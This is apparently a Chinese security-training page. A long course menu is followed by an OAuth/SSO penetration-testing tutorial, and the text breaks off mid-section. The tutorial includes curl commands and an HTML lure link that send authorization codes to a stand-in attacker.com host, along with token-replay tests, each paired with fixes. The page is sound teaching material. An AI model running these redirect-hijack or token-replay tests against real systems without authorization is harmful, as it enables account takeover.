公开文集
0x01 信安之路安全产品
0x01 SRC 资产管理系统
001 企业资产有那些?
002 订阅最新 POC
003 IP 域名关联查询
004 公益权重数据
0x02 安全学习成长平台
001 成长平台视频参考
100 百分成就-学习心得-TOP 21 小伙伴
101 百分成就-学习心得-不想起床
102 百分成就-学习心得-不驚
103 百分成就-学习心得-aiDa0
104 百分成就-学习心得-起十二
105 百分成就-学习心得-Eyes
201 你为什么选择信安之路!
0x03 安全知识库
001 蜜罐运营专辑
0x04 自研蜜罐系统
0x02 Web 漏洞案例库
0x01 配置安全
001 header 安全配置
002 首页信息泄露
003 HTTP 访问控制 (CORS)
0x02 安全控制缺失
001 速率限制绕过
0x03 应用逻辑
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x04 星球讨论知识问答
信息安全入门
学习方向选择
学习经验分享
安全产品研发
代码审计
物联网安全
APT
安全防御建设
安全建设经验
数据泄露监控
网络安全
终端安全
主机安全
产品安全
安全意识
数据安全
内部资产管理
安全管理
应急响应
网络安全架构
安全运营
业务安全
运维安全
渗透测试技术
信息收集
EXP/POC
web 测试
APP测试
内网渗透
0x05 代码审计小挑战
01 前端安全问题
101 script 标签下的 XSS
102 消息事件引发的 DOM XSS
104 常规评论 xss 漏洞
105 页面开放重定向漏洞
106 部分过滤的 xss 漏洞绕过
107 基于 DOM 的 XSS
108 CORS 配置错误
109 退出登录出 XSS
110 URL 重定向漏洞
111 CSRF 漏洞利用
112 JavaScript 代码注入
113 xss 绕过括号和反引号检测
02 文件操作类问题
201 Django 任意文件读取漏洞
202 php 后缀黑名单验证绕过上传
203 jsp 任意文件上传
204 jsp 代码中的 SSRF 漏洞
205 jsp 目录穿越漏洞
206 PHP文件包含漏洞
207 Django 本地文件包含
208 文件包含功能绕过
209 SSRF 跨服务端请求伪造
210 本地文件包含漏洞 windows
211 目录穿越漏洞
212 文件上传绕过
213 php 文件包含漏洞
03 注入类问题
301 由 SQL 注入引发的命令执行
302 php8 XML 实体注入
303 正则问题导致验证绕过
304 XPath 注入
305 典型认证 SQL 注入
306 数字型 SQL 注入
307 主机头(host header)注入
308 LDAP 注入
309 典型的万能密码漏洞
310 Ldap 注入漏洞代码
04 命令执行类问题
401 调用第三方工具时被劫持
402 原型污染导致命令执行
403 php array_map 代码执行
404 命令执行绕过检测
405 SSTI 模板注入
406 文件名注入 RCE
407 无防护命令执行
408 python eval 注入
409 绕过多个黑名单命令
05 业务逻辑类问题
501 django 认证 jwt 未验证 token
502 绕过权限检测执行命令
503 密码找回邮箱地址大小写绕过
504 DNS 重绑定问题
505 权限比对逻辑问题
506 越权访问其他用户的记录
507 用户注册问题
508 用户权限验证逻辑问题
509 PHP 判断两个变量相等逻辑问题
06 反序列化类问题
601 php 反序列化漏洞
602 python 反序列化漏洞
09 C语言问题
901 c 条件竞争
902 缓冲区溢出
903 通配符注入提权
0x99 AI 教你学安全
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-200-OAuth-SSO安全测试
# Day 251: OAuth/SSO 安全测试 > 渗透测试系列第 41 天 | 预计阅读时间:45 分钟 | 难度:★★★★☆ --- ## 清单 目录 1. [OAuth 与 SSO 基础概念](#oauth-与-sso-基础概念) 2. [OAuth 2.0 授权流程详解](#oauth-20-授权流程详解) 3. [常见 OAuth 安全漏洞](#常见-oauth-安全漏洞) 4. [SSO 单点登录安全架构](#sso-单点登录安全架构) 5. [SAML 协议安全测试](#saml-协议安全测试) 6. [OIDC 身份层安全测试](#oidc-身份层安全测试) 7. [JWT Token 安全测试](#jwt-token-安全测试) 8. [渗透测试实战案例](#渗透测试实战案例) 9. [自动化测试工具](#自动化测试工具) 10. [最佳实践与修复建议](#最佳实践与修复建议) 11. [总结与思考](#总结与思考) 12. [参考资料](#参考资料) --- ## OAuth 与 SSO 基础概念 ### 1.1 OAuth 2.0 核心概念 **OAuth 2.0** 是一个开放标准的授权框架,允许第三方应用在不获取用户密码的情况下,访问用户在资源服务器上的受保护资源。 **核心角色**: | 角色 | 英文 | 说明 | |------|------|------| | 资源所有者 | Resource Owner | 用户,拥有资源并授权访问 | | 客户端 | Client | 第三方应用,请求访问资源 | | 资源服务器 | Resource Server | 托管受保护资源的服务器 | | 授权服务器 | Authorization Server | 验证用户身份并发放 Token | **核心术语**: - **Access Token**:访问令牌,客户端用它访问资源服务器 - **Refresh Token**:刷新令牌,用于获取新的 Access Token - **Authorization Code**:授权码,临时凭证,用于换取 Access Token - **Scope**:授权范围,定义客户端可以访问的资源权限 - **Grant Type**:授权类型,定义获取 Token 的方式 ### 1.2 SSO 单点登录概念 **SSO (Single Sign-On)** 是一种身份验证方案,允许用户使用一组凭据登录多个相关但独立的软件系统。 **SSO 核心优势**: - 用户体验提升:只需登录一次 - 密码管理简化:减少密码疲劳 - 集中式身份管理:便于审计和策略执行 - 降低支持成本:减少密码重置请求 **常见 SSO 协议**: | 协议 | 全称 | 用途 | |------|------|------| | SAML | Security Assertion Markup Language | 企业级 SSO,基于 XML | | OIDC | OpenID Connect | 基于 OAuth 2.0 的身份层 | | CAS | Central Authentication Service | 教育行业常用 | | Kerberos | - | Windows 域环境 | ### 1.3 OAuth 与 SSO 的关系 ``` ┌─────────────────────────────────────────────────────────┐ │ OAuth 2.0 │ │ (授权框架 - Authorization) │ │ │ │ ┌─────────────────────────────────────────────────┐ │ │ │ OpenID Connect (OIDC) │ │ │ │ (身份层 - Authentication on OAuth) │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────┐ │ │ │ SAML 2.0 │ │ │ │ (独立协议 - 企业级 SSO 标准) │ │ │ └─────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ ``` **关键区别**: - **OAuth 2.0**:解决"授权"问题(你能访问什么) - **OIDC**:在 OAuth 2.0 上解决"认证"问题(你是谁) - **SAML**:独立的认证和授权协议,企业级 SSO 首选 --- ## OAuth 2.0 授权流程详解 ### 2.1 授权码模式 (Authorization Code Flow) 这是最安全的 OAuth 2.0 流程,适用于服务器端应用。 ``` ┌─────────┐ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ 用户 │ │ 客户端 │ │ 授权服务器 │ │ 资源服务器 │ │ User │ │ Client │ │ Auth Server │ │ Resource │ └────┬────┘ └──────┬──────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ │ │ 1. 点击登录 │ │ │ │─────────────────>│ │ │ │ │ │ │ │ │ 2. 重定向到授权服务器 │ │ │ GET /authorize? │ │ │ client_id=xxx& │ │ │ redirect_uri=xxx& │ │ │ response_type=code& │ │ │ scope=read& │ │ │ state=random123 │ │ │────────────────────────>│ │ │ │ │ │ │ 3. 用户登录并授权 │ │ │ │<────────────────────────────────────────│ │ │ │ │ │ │ 4. 重定向回客户端 │ │ │ │ GET /callback?code=AUTH_CODE&state=random123 │ │<─────────────────│ │ │ │ │ │ │ │ │ 5. 用授权码换取 Token │ │ │ POST /token │ │ │ grant_type=authorization_code& │ │ │ code=AUTH_CODE& │ │ │ client_id=xxx& │ │ │ client_secret=xxx& │ │ │ redirect_uri=xxx │ │ │────────────────────────>│ │ │ │ │ │ │ │ 6. 返回 Access Token │ │ │ { │ │ │ "access_token": "...", │ │ │ "token_type": "Bearer", │ │ │ "expires_in": 3600, │ │ │ "refresh_token": "..." │ │ │ } │ │ │<────────────────────────│ │ │ │ │ │ │ │ 7. 用 Access Token 访问资源 │ │ │ GET /api/user │ │ │ Authorization: Bearer <token> │ │ │─────────────────────────────────────────>│ │ │ │ │ │ │ 8. 返回受保护资源 │ │ │<─────────────────────────────────────────│ │ │ │ │ ``` **安全要点**: 1. **state 参数**:防止 CSRF 攻击,必须验证 2. **client_secret**:服务器端保管,不能泄露 3. **redirect_uri**:必须精确匹配,防止重定向劫持 4. **HTTPS**:所有通信必须加密 5. **Token 有效期**:Access Token 应设置较短有效期 ### 2.2 隐式模式 (Implicit Flow) - 已弃用 ``` ! 注意:OAuth 2.1 已弃用 Implicit Flow,推荐使用 PKCE 的 Authorization Code Flow ``` 隐式模式曾用于 SPA 单页应用,但存在以下安全问题: - Token 暴露在 URL 中 - Token 可能被浏览器历史记录 - 没有 client_secret 验证 - 容易受到 XSS 攻击 **替代方案**:使用 PKCE (Proof Key for Code Exchange) 的授权码模式 ### 2.3 PKCE 模式 (Proof Key for Code Exchange) PKCE 是 OAuth 2.0 的扩展,用于防止授权码拦截攻击。 ``` ┌─────────┐ ┌─────────────┐ ┌──────────────┐ │ 客户端 │ │ 授权服务器 │ │ 资源服务器 │ │ Client │ │ Auth Server│ │ Resource │ └────┬────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ │ 1. 生成 code_verifier (随机字符串) │ │ code_verifier = "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" │ │ │ │ 2. 生成 code_challenge │ │ code_challenge = BASE64URL(SHA256(code_verifier)) │ │ │ │ 3. 发起授权请求 │ │ GET /authorize? │ │ client_id=xxx& │ │ redirect_uri=xxx& │ │ response_type=code& │ │ code_challenge=xxx& │ │ code_challenge_method=S256 │ │────────────────────────>│ │ │ │ │ │ 4. 用户授权,返回授权码 │ │ GET /callback?code=AUTH_CODE │ │<────────────────────────│ │ │ │ │ │ 5. 用授权码 + code_verifier 换取 Token │ │ POST /token │ │ grant_type=authorization_code& │ │ code=AUTH_CODE& │ │ code_verifier=dBjftJeZ4CVP-mB92K27... │ │────────────────────────>│ │ │ │ │ │ 6. 验证 code_verifier │ │ SHA256(code_verifier) == code_challenge? │ 验证通过 → 返回 Token │ │<────────────────────────│ │ │ │ │ ``` **PKCE 核心参数**: | 参数 | 说明 | |------|------| | code_verifier | 客户端生成的随机字符串(43-128 字符) | | code_challenge | code_verifier 的哈希值 | | code_challenge_method | 哈希算法(S256 或 plain) | ### 2.4 客户端凭证模式 (Client Credentials Flow) 用于机器对机器的认证,不涉及用户。 ``` ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ 客户端 │ │ 授权服务器 │ │ 资源服务器 │ │ Client │ │ Auth Server │ │ Resource │ └──────┬──────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ │ 1. 用 client_id + client_secret 请求 Token │ │ POST /token │ │ grant_type=client_credentials& │ │ client_id=xxx& │ │ client_secret=xxx& │ │ scope=read │ │──────────────────────────>│ │ │ │ │ │ 2. 返回 Access Token │ │ { │ │ "access_token": "...", │ │ "token_type": "Bearer", │ │ "expires_in": 3600 │ │ } │ │<──────────────────────────│ │ │ │ │ │ 3. 用 Token 访问资源 │ │─────────────────────────────────────────>│ │ │ │ ``` ### 2.5 密码模式 (Resource Owner Password Credentials) - 不推荐 ``` ! 注意:密码模式需要用户直接向客户端提供密码,存在严重安全风险 OAuth 2.1 已弃用此模式,仅在受信任的官方应用中使用 ``` --- ## 常见 OAuth 安全漏洞 ### 3.1 重定向 URI 劫持 (Redirect URI Hijacking) **漏洞原理**:攻击者通过篡改 redirect_uri 参数,将授权码或 Token 重定向到攻击者控制的服务器。 **攻击场景**: ``` 正常请求: GET /authorize?client_id=abc123&redirect_uri=https://app.example.com/callback&response_type=code 攻击请求: GET /authorize?client_id=abc123&redirect_uri=https://attacker.com/steal&response_type=code ``` **如果授权服务器未严格验证 redirect_uri**: 1. 用户点击攻击者构造的链接 2. 用户登录并授权 3. 授权码被发送到攻击者服务器 4. 攻击者用授权码换取 Access Token 5. 攻击者获得用户资源访问权限 **测试方法**: ```bash # 测试 1: 修改 redirect_uri 为攻击者域名 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://attacker.com/callback&response_type=code&scope=read" # 测试 2: 测试开放重定向 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com@attacker.com/callback&response_type=code" # 测试 3: 测试参数污染 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com/callback&redirect_uri=https://attacker.com/callback&response_type=code" # 测试 4: 测试路径遍历 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com/callback@attacker.com&response_type=code" # 测试 5: 测试子域名绕过 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://attacker.app.example.com/callback&response_type=code" ``` **修复建议**: 1. 在授权服务器注册完整的 redirect_uri(包含协议、域名、路径) 2. 精确匹配 redirect_uri,不允许部分匹配 3. 禁止使用通配符(除非必要且限制严格) 4. 拒绝未注册的 redirect_uri ### 3.2 授权码拦截攻击 (Authorization Code Interception) **漏洞原理**:攻击者拦截授权码,然后用它换取 Access Token。 **攻击方式**: 1. **网络层拦截**:中间人攻击(MITM) 2. **恶意应用**:同一设备上的恶意应用拦截回调 3. **日志泄露**:授权码出现在服务器日志中 **测试方法**: ```bash # 检查是否使用 HTTPS curl -v "http://auth.example.com/authorize?..." # 应该拒绝或重定向到 HTTPS # 检查授权码是否可重复使用 # 第一次使用授权码 curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=CAPTURED_CODE" \ -d "client_id=abc123" \ -d "client_secret=secret123" # 第二次使用同一授权码(应该失败) curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=CAPTURED_CODE" \ -d "client_id=abc123" \ -d "client_secret=secret123" ``` **修复建议**: 1. 强制使用 HTTPS 2. 授权码一次性使用,使用后失效 3. 授权码短有效期(5-10 分钟) 4. 使用 PKCE 防止拦截 5. 绑定授权码与 client_id ### 3.3 CSRF 攻击 (Cross-Site Request Forgery) **漏洞原理**:攻击者诱导用户点击恶意链接,在用户已登录的情况下发起授权请求。 **攻击场景**: ```html <!-- 攻击者构造的恶意链接 --> <a href="https://auth.example.com/authorize?client_id=attacker_app&redirect_uri=https://attacker.com/callback&response_type=code&scope=read"> 点击领取奖品! </a> ``` **如果未使用 state 参数**: 1. 用户点击恶意链接 2. 用户登录并授权(可能未注意授权内容) 3. 授权码发送到攻击者服务器 4. 攻击者获得用户资源访问权限 **测试方法**: ```bash # 检查授权请求是否包含 state 参数 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com/callback&response_type=code" # 观察响应中是否要求 state 参数 # 如果没有 state 参数也能完成授权 → 存在 CSRF 风险 # 测试 state 参数是否被验证 # 1. 发起授权请求,使用 state=valid123 # 2. 回调时修改 state 为 state=invalid456 # 3. 如果服务器未验证 state → 存在 CSRF 风险 ``` **修复建议**: 1. 必须使用 state 参数 2. state 值应该是加密安全的随机数 3. 在回调时验证 state 值是否匹配 4. state 值应该与会话绑定 ### 3.4 Access Token 泄露 **泄露途径**: | 途径 | 风险等级 | 说明 | |------|----------|------| | URL 参数 | ! 高 | Token 出现在 URL 中,可能被日志记录 | | Referer 头 | ! 高 | 访问外部链接时 Token 可能被发送 | | 浏览器存储 | ! 中 | XSS 攻击可窃取 localStorage 中的 Token | | 网络嗅探 | ! 高 | 未使用 HTTPS 时 Token 可被截获 | | 日志文件 | ! 中 | Token 被记录在服务器或客户端日志中 | **测试方法**: ```bash # 检查 Token 是否通过 URL 传递(隐式模式) curl -v "https://app.example.com/callback#access_token=xxx" # 检查 Token 有效期 curl -v "https://api.example.com/user" \ -H "Authorization: Bearer CAPTURED_TOKEN" # 等待一段时间后重试(检查是否过期) sleep 3600 curl -v "https://api.example.com/user" \ -H "Authorization: Bearer CAPTURED_TOKEN" # 检查 Token 是否有适当的 scope 限制 curl -v "https://api.example.com/admin" \ -H "Authorization: Bearer TOKEN_WITH_READ_SCOPE" # 应该返回 403 Forbidden ``` **修复建议**: 1. 使用授权码模式,不在 URL 中传递 Token 2. Token 通过 Authorization Header 传递 3. 设置合理的 Token 有效期 4. 使用 Refresh Token 机制 5. Token 绑定 IP 或设备指纹 6. 实施 Token 撤销机制 ### 3.5 Refresh Token 滥用 **漏洞原理**:Refresh Token 有效期较长,如果泄露,攻击者可以持续获取新的 Access Token。 **测试方法**: ```bash # 获取 Refresh Token # 1. 完成正常授权流程获取 Refresh Token # 测试 Refresh Token 是否可重复使用 curl -X POST "https://auth.example.com/token" \ -d "grant_type=refresh_token" \ -d "refresh_token=CAPTURED_REFRESH_TOKEN" \ -d "client_id=abc123" \ -d "client_secret=secret123" # 使用同一 Refresh Token 再次请求(应该失败或使旧 Token 失效) curl -X POST "https://auth.example.com/token" \ -d "grant_type=refresh_token" \ -d "refresh_token=CAPTURED_REFRESH_TOKEN" \ -d "client_id=abc123" \ -d "client_secret=secret123" # 测试 Refresh Token 轮换(Rotation) # 新的 Refresh Token 应该使旧的失效 ``` **修复建议**: 1. 实施 Refresh Token 轮换(每次使用生成新的 Refresh Token) 2. 检测 Refresh Token 重用(重用则撤销整个令牌链) 3. Refresh Token 绑定设备或 IP 4. 设置合理的 Refresh Token 有效期 5. 提供用户查看和撤销活跃会话的功能 ### 3.6 Scope 权限提升 **漏洞原理**:客户端请求超出用户授权范围的权限,或服务器未正确验证 Scope。 **测试方法**: ```bash # 测试 1: 请求额外 Scope curl -v "https://auth.example.com/authorize?client_id=abc123&scope=read+write+admin&response_type=code" # 测试 2: 使用低权限 Token 访问高权限资源 # 获取只有 read scope 的 Token TOKEN_READ_ONLY="..." curl -v "https://api.example.com/admin/users" \ -H "Authorization: Bearer $TOKEN_READ_ONLY" # 应该返回 403 Forbidden # 测试 3: 修改 Token 中的 scope 声明(针对 JWT) # 解码 JWT,修改 scope 为 admin,重新签名(应该失败) ``` **修复建议**: 1. 在资源服务器验证每个请求的 Scope 2. 不要信任客户端声明的 Scope 3. 实施最小权限原则 4. 用户明确授权每个 Scope 5. 定期审查应用权限 ### 3.7 客户端认证绕过 **漏洞原理**:攻击者绕过 client_secret 验证,冒充合法客户端。 **测试方法**: ```bash # 测试 1: 不使用 client_secret curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=VALID_CODE" \ -d "client_id=abc123" # 如果成功 → 存在漏洞 # 测试 2: 使用空 client_secret curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=VALID_CODE" \ -d "client_id=abc123" \ -d "client_secret=" # 如果成功 → 存在漏洞 # 测试 3: 公开客户端(Public Client)滥用 # 检查是否有机密客户端被配置为公开客户端 ``` **修复建议**: 1. 机密客户端必须验证 client_secret 2. client_secret 安全存储(哈希后存储) 3. 定期轮换 client_secret 4. 公开客户端使用 